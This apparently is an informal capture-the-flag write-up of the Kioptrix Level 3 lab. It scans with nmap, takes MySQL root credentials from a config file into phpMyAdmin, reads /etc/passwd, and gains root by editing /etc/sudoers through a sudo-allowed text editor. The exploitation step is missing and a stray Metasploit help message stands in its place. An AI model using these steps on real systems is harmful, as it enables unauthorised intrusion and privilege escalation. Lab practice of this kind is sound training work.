KIOPTRIX Level 1.2 (#3)

Scanning

We first need to get the target IP.

nmap -sP 192.168.1.0/24

Target IP is 192.168.1.7

nmap

sudo nmap -sV -p- -O -T4 192.168.1.7

  • -sV determine service/version info

  • -T4 for faster execution

  • -p- scan all ports

  • -O identify Operating System

lets take a look on port 80

hit login tab

i tried to brute force credentials but no result

close enough ...

lets check this CMS

[-] Unknown variable
Usage: set [option] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

Now we have username and password for phpmyadmin

    $GLOBALS["gallarific_mysql_username"] = "root";
    $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

lets check it ... http://192.168.1.7/phpmyadmin/

we IN <3

after check existing DB i find this

open this table ...

Finding this ... developer credentials

but it hashed lets decrypt it using hashes.com

step back we still have shell

lets view /etc/passwd

loneferret -> /bin/bash

loneferret had normal shell lets try to hit it using ssh

note : we avoid using dreg because account shell is restricted "rbash"

Privilege Escalation

at this point we can run enu4linux but wait ...

lets check user privilege

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: /bin/su
    (root) NOPASSWD: /usr/local/bin/ht

check history

loneferret@Kioptrix3:~$ history
    1  sudo ht
    2  exit
    3  history

sudo ht looks juicy lets hit it ...

loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht

this Appear ...

its an IN-Terminal text editor like nano, vim, ...

we had sudo privilege with this app

lets try edit /etc/sudoers

f3 to open file

hit enter now we need to add /bin/su privilege to current account

f2 save

loneferret@Kioptrix3:~$ sudo su
